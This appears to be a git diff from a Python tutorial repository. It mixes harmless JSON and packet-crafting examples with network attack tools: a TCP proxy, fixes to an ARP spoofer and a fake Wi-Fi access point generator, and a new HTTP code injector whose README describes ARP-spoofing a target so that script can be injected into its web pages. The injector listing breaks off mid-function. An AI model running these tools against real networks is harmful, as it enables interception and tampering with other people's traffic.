+                exit_data = self._extract_stream(exit_point)
+                if exit_data:
+                    print(f"\n[<] Captured {len(exit_data)} bytes outgoing")
+                    self._process_data(exit_data)
+                    processed = self._monitor_stream("out", exit_data)
+                    entry_point.send(processed)
+                # Prevent CPU saturation
+                if not (entry_data or exit_data):
+                    time.sleep(0.1)
+        except Exception as e:
+            print(f"[!] Bridge error: {str(e)}")
+        finally:
+            print("[*] Closing bridge")
+            entry_point.close()
+            exit_point.close()
+    
+    def orchestrate(self) -> None:
+        # Orchestrate the proxy operation
+        # Validate input
+        if len(sys.argv[1:]) != 5:
+            print("Usage: script.py [local_addr] [local_port] [remote_addr] [remote_port] [preload]")
+            print("Example: script.py 127.0.0.1 8080 target.com 80 True")
+            sys.exit(1)
+        # Configure proxy parameters
+        self._local_addr = sys.argv[1]
+        self._local_port = int(sys.argv[2])
+        self._remote_addr = sys.argv[3]
+        self._remote_port = int(sys.argv[4])
+        self._preload = "true" in sys.argv[5].lower()
+        # Initialize listener
+        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        try:
+            listener.bind((self._local_addr, self._local_port))
+        except socket.error as e:
+            print(f"[!] Binding failed: {e}")
+            sys.exit(1)
+        listener.listen(self._backlog)
+        print(f"[*] Service active on {self._local_addr}:{self._local_port}")
+        # Main service loop
+        while True:
+            client, address = listener.accept()
+            print(f"[+] Connection from {address[0]}:{address[1]}")
+            bridge = threading.Thread(
+                target=self._bridge_connections,
+                args=(client,)
+            )
+            bridge.daemon = True
+            bridge.start()
+
+if __name__ == "__main__":
+    bridge = TcpProxy()
+    bridge.orchestrate()
\ No newline at end of file
diff --git a/python-standard-library/working-with-json/README.md b/python-standard-library/working-with-json/README.md
new file mode 100644
index 00000000..cde390e6
--- /dev/null
+++ b/python-standard-library/working-with-json/README.md
@@ -0,0 +1,3 @@
+# [How to Work with JSON Files in Python](https://www.thepythoncode.com/article/working-with-json-files-in-python)
+To run `example.py`, you have to install `requests` library:
+- `pip3 install -r requirements.txt`
\ No newline at end of file
diff --git a/python-standard-library/working-with-json/example.py b/python-standard-library/working-with-json/example.py
new file mode 100644
index 00000000..75e42cdf
--- /dev/null
+++ b/python-standard-library/working-with-json/example.py
@@ -0,0 +1,28 @@
+import requests
+import json
+
+
+# make API request and parse JSON automatically
+data = requests.get("https://jsonplaceholder.typicode.com/users").json()
+# save all data in a single JSON file
+file_name = "user_data.json"
+with open(file_name, "w") as f:
+    json.dump(data, f, indent=4)
+    print(file_name, "saved successfully!")
+
+# or you can save each entry into a file
+for user in data:
+    # iterate over `data` list
+    file_name = f"user_{user['id']}.json"
+    with open(file_name, "w") as f:
+        json.dump(user, f, indent=4)
+        print(file_name, "saved successfully!")
+
+
+# load 2nd user for instance
+file_name = "user_2.json"
+with open(file_name) as f:
+    user_data = json.load(f)
+    
+print(user_data)
+print("Username:", user_data["username"])
\ No newline at end of file
diff --git a/python-standard-library/working-with-json/loading_json.py b/python-standard-library/working-with-json/loading_json.py
new file mode 100644
index 00000000..ba1f3ea8
--- /dev/null
+++ b/python-standard-library/working-with-json/loading_json.py
@@ -0,0 +1,15 @@
+import json
+
+# read a JSON file
+# 1st option
+file_name = "data1.json"
+with open(file_name) as f:
+    data = json.load(f)
+    
+print(data)
+# 2nd option
+file_name = "data2.json"
+with open(file_name) as f:
+    data = json.loads(f.read())
+
+print(data)
\ No newline at end of file
diff --git a/python-standard-library/working-with-json/requirements.txt b/python-standard-library/working-with-json/requirements.txt
new file mode 100644
index 00000000..663bd1f6
--- /dev/null
+++ b/python-standard-library/working-with-json/requirements.txt
@@ -0,0 +1 @@
+requests
\ No newline at end of file
diff --git a/python-standard-library/working-with-json/saving_json.py b/python-standard-library/working-with-json/saving_json.py
new file mode 100644
index 00000000..8885b9c7
--- /dev/null
+++ b/python-standard-library/working-with-json/saving_json.py
@@ -0,0 +1,30 @@
+import json
+
+# example dictionary to save as JSON
+data = {
+    "first_name": "John",
+    "last_name": "Doe",
+    "email": "john@doe.com",
+    "salary": 1499.9, # just to demonstrate we can use floats as well
+    "age": 17,
+    "is_real": False, # also booleans!
+    "titles": ["The Unknown", "Anonymous"] # also lists!
+}
+
+# save JSON file
+# 1st option
+with open("data1.json", "w") as f:
+    json.dump(data, f)
+
+# 2nd option
+with open("data2.json", "w") as f:
+    f.write(json.dumps(data, indent=4))
+
+
+unicode_data = {
+    "first_name": "أحمد",
+    "last_name": "علي"
+}
+
+with open("data_unicode.json", "w", encoding="utf-8") as f:
+    json.dump(unicode_data, f, ensure_ascii=False)
\ No newline at end of file
diff --git a/scapy/arp-spoofer/arp_spoof.py b/scapy/arp-spoofer/arp_spoof.py
index 51b9fb5b..6179bdd5 100644
--- a/scapy/arp-spoofer/arp_spoof.py
+++ b/scapy/arp-spoofer/arp_spoof.py
@@ -79,7 +79,7 @@ def restore(target_ip, host_ip, verbose=True):
     # get the real MAC address of spoofed (gateway, i.e router)
     host_mac = get_mac(host_ip)
     # crafting the restoring packet
-    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
+    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac, op="is-at")
     # sending the restoring packet
     # to restore the network to its normal process
     # we send each reply seven times for a good measure (count=7)
@@ -108,4 +108,4 @@ def restore(target_ip, host_ip, verbose=True):
     except KeyboardInterrupt:
         print("[!] Detected CTRL+C ! restoring the network, please wait...")
         restore(target, host)
-        restore(host, target)
\ No newline at end of file
+        restore(host, target)
diff --git a/scapy/arp-spoofer/requirements.txt b/scapy/arp-spoofer/requirements.txt
index 93b351f4..3f462529 100644
--- a/scapy/arp-spoofer/requirements.txt
+++ b/scapy/arp-spoofer/requirements.txt
@@ -1 +1,2 @@
-scapy
\ No newline at end of file
+scapy
+pywin32
\ No newline at end of file
diff --git a/scapy/crafting-packets/README.md b/scapy/crafting-packets/README.md
new file mode 100644
index 00000000..c57f5974
--- /dev/null
+++ b/scapy/crafting-packets/README.md
@@ -0,0 +1 @@
+# [Crafting Dummy Packets with Scapy Using Python](https://thepythoncode.com/article/crafting-packets-with-scapy-in-python)
\ No newline at end of file
diff --git a/scapy/crafting-packets/network_latency_measure.py b/scapy/crafting-packets/network_latency_measure.py
new file mode 100644
index 00000000..e5b1b43c
--- /dev/null
+++ b/scapy/crafting-packets/network_latency_measure.py
@@ -0,0 +1,21 @@
+server_ips = ["192.168.27.1", "192.168.17.129", "192.168.17.128"]
+
+from scapy.all import IP, ICMP, sr1
+import time
+
+def check_latency(ip):
+    packet = IP(dst=ip) / ICMP()
+    start_time = time.time()
+    response = sr1(packet, timeout=2, verbose=0)
+    end_time = time.time()
+    
+    if response:
+        latency = (end_time - start_time) * 1000  # Convert to milliseconds
+        print(f"[+] Latency to {ip}: {latency:.2f} ms")
+    else:
+        print(f"[-] No response from {ip} (possible packet loss)")
+
+for server_ip in server_ips:
+    check_latency(server_ip)
+
+   
diff --git a/scapy/crafting-packets/packet_craft.py b/scapy/crafting-packets/packet_craft.py
new file mode 100644
index 00000000..7d0f3399
--- /dev/null
+++ b/scapy/crafting-packets/packet_craft.py
@@ -0,0 +1,34 @@
+# Uncomment them and run according to the tutorial
+#from scapy.all import IP, TCP, send, UDP
+
+# # Step 1: Creating a simple IP packet
+# packet = IP(dst="192.168.1.1")  # Setting the destination IP
+# packet = IP(dst="192.168.1.1") / TCP(dport=80, sport=12345, flags="S")
+# print(packet.show())  # Display packet details
+# send(packet)
+
+
+############
+# from scapy.all import ICMP
+
+# # Creating an ICMP Echo request packet
+# icmp_packet = IP(dst="192.168.1.1") / ICMP()
+# send(icmp_packet)
+
+
+############
+# from scapy.all import UDP
+
+# # Creating a UDP packet
+# udp_packet = IP(dst="192.168.1.1") / UDP(dport=53, sport=12345)
+# send(udp_packet)
+
+
+
+###########
+# blocked_packet = IP(dst="192.168.1.1") / TCP(dport=80, flags="S")
+# send(blocked_packet)
+
+# allowed_packet = IP(dst="192.168.1.1") / UDP(dport=53)
+# send(allowed_packet)
+
diff --git a/scapy/crafting-packets/requirements.txt b/scapy/crafting-packets/requirements.txt
new file mode 100644
index 00000000..93b351f4
--- /dev/null
+++ b/scapy/crafting-packets/requirements.txt
@@ -0,0 +1 @@
+scapy
\ No newline at end of file
diff --git a/scapy/dhcp_listener/README.md b/scapy/dhcp_listener/README.md
index 6a7323a5..128e16ac 100644
--- a/scapy/dhcp_listener/README.md
+++ b/scapy/dhcp_listener/README.md
@@ -1,7 +1,7 @@
-# Listening for new Connected Devices in the Network using DHCP
+# [How to Make a DHCP Listener using Scapy in Python](https://www.thepythoncode.com/article/dhcp-listener-using-scapy-in-python)
 to run this:
 - `pip3 install -r requirements.txt`
 -   
     ```
-    python3 dhcp_listener.py
+    $ python3 dhcp_listener.py
     ```
\ No newline at end of file
diff --git a/scapy/dhcp_listener/dhcp_listener.py b/scapy/dhcp_listener/dhcp_listener.py
index de8655c5..e036e40c 100644
--- a/scapy/dhcp_listener/dhcp_listener.py
+++ b/scapy/dhcp_listener/dhcp_listener.py
@@ -1,16 +1,16 @@
 from scapy.all import *
 import time
 
-hosts = []
-Ether = 1
-
 
 def listen_dhcp():
     # Make sure it is DHCP with the filter options
-    k = sniff(prn=print_packet, filter='udp and (port 67 or port 68)')
+    sniff(prn=print_packet, filter='udp and (port 67 or port 68)')
+
 
 def print_packet(packet):
+    # initialize these variables to None at first
     target_mac, requested_ip, hostname, vendor_id = [None] * 4
+    # get the MAC address of the requester
     if packet.haslayer(Ether):
         target_mac = packet.getlayer(Ether).src
     # get the DHCP options
@@ -21,15 +21,18 @@ def print_packet(packet):
         except ValueError:
             continue
         if label == 'requested_addr':
+            # get the requested IP
             requested_ip = value
         elif label == 'hostname':
+            # get the hostname of the device
             hostname = value.decode()
         elif label == 'vendor_class_id':
+            # get the vendor ID
             vendor_id = value.decode()
-        if target_mac and vendor_id and hostname and requested_ip and target_mac not in hosts:
-            hosts.append(target_mac)
-            time_now = time.strftime("[%Y-%m-%d - %H:%M:%S] ")
-            print("{}: {}  -  {} / {} requested {}".format(time_now, target_mac, hostname, vendor_id, requested_ip))
+    if target_mac and vendor_id and hostname and requested_ip:
+        # if all variables are not None, print the device details
+        time_now = time.strftime("[%Y-%m-%d - %H:%M:%S]")
+        print(f"{time_now} : {target_mac}  -  {hostname} / {vendor_id} requested {requested_ip}")
 
 
 if __name__ == "__main__":
diff --git a/scapy/fake-access-point/fake_access_point.py b/scapy/fake-access-point/fake_access_point.py
index 35e203fa..ffecffb7 100644
--- a/scapy/fake-access-point/fake_access_point.py
+++ b/scapy/fake-access-point/fake_access_point.py
@@ -34,7 +34,7 @@ def send_beacon(ssid, mac, infinite=True):
 
     parser = argparse.ArgumentParser(description="Fake Access Point Generator")
     parser.add_argument("interface", default="wlan0mon", help="The interface to send beacon frames with, must be in monitor mode")
-    parser.add_argument("-n", "--access-points", dest="n_ap", help="Number of access points to be generated")
+    parser.add_argument("-n", "--access-points", type=int, dest="n_ap", help="Number of access points to be generated")
     args = parser.parse_args()
     n_ap = args.n_ap
     iface = args.interface
diff --git a/scapy/http-code-injector/README.md b/scapy/http-code-injector/README.md
new file mode 100644
index 00000000..03b7eb0d
--- /dev/null
+++ b/scapy/http-code-injector/README.md
@@ -0,0 +1,14 @@
+# [How to Inject Code into HTTP Responses in the Network in Python](https://www.thepythoncode.com/article/injecting-code-to-html-in-a-network-scapy-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- Make sure you enabled IP forwarding, if you're using [this Python script](https://www.thepythoncode.com/code/building-arp-spoofer-using-scapy), then it'll automatically enable it.
+- Start ARP Spoofing against the target using any tool such as [this Python script](https://www.thepythoncode.com/code/building-arp-spoofer-using-scapy) or arpspoof tool on Kali Linux.
+- Add a new nfqueue FORWARD rule on `iptables`:
+    ```bash
+    $ iptables -I FORWARD -j NFQUEUE --queue-num 0
+    ```
+
+When you're done, make sure you CTRL+C the ARP spoof script, disable IP forwarding and flushing the iptables:
+    ```bash
+    $ iptables --flush
+    ```
\ No newline at end of file
diff --git a/scapy/http-code-injector/http_code_injector.py b/scapy/http-code-injector/http_code_injector.py
new file mode 100644
index 00000000..900b3abd
--- /dev/null
+++ b/scapy/http-code-injector/http_code_injector.py
@@ -0,0 +1,92 @@
+from scapy.all import *
+from colorama import init, Fore
+import netfilterqueue
+import re
+
+# initialize colorama
+init()
+
+# define colors
+GREEN = Fore.GREEN
+RESET = Fore.RESET
+
+
+def process_packet(packet):
+    """
+    This function is executed whenever a packet is sniffed
+    """
+    # convert the netfilterqueue packet into Scapy packet
+    spacket = IP(packet.get_payload())
+    if spacket.haslayer(Raw) and spacket.haslayer(TCP):
+        if spacket[TCP].dport == 80:
+            # HTTP request
+            print(f"[*] Detected HTTP Request from {spacket[IP].src} to {spacket[IP].dst}")
+            try:
+                load = spacket[Raw].load.decode()
+            except Exception as e:
+                # raw data cannot be decoded, apparently not HTML
+                # forward the packet exit the function
+                packet.accept()
+                return
+            # remove Accept-Encoding header from the HTTP request
+            new_load = re.sub(r"Accept-Encoding:.*\r\n", "", load)
+            # set the new data
+            spacket[Raw].load = new_load
+            # set IP length header, checksums of IP and TCP to None
+            # so Scapy will re-calculate them automatically
+            spacket[IP].len = None
+            spacket[IP].chksum = None
+            spacket[TCP].chksum = None
+            # set the modified Scapy packet back to the netfilterqueue packet
+            packet.set_payload(bytes(spacket))
+        if spacket[TCP].sport == 80:
+            # HTTP response
+            print(f"[*] Detected HTTP Response from {spacket[IP].src} to {spacket[IP].dst}")
+            try:
+                load = spacket[Raw].load.decode()
+            except:
+                packet.accept()
+                return
+            # if you want to debug and see the HTML data
+            # print("Load:", load)
+            # Javascript code to add, feel free to add any Javascript code
+            added_text = ""
+            # or you can add HTML as well!
+            # added_text = "HTML Injected successfully! 
"
+            # calculate the length in bytes, each character corresponds to a byte
+            added_text_length = len(added_text)
+            # replace the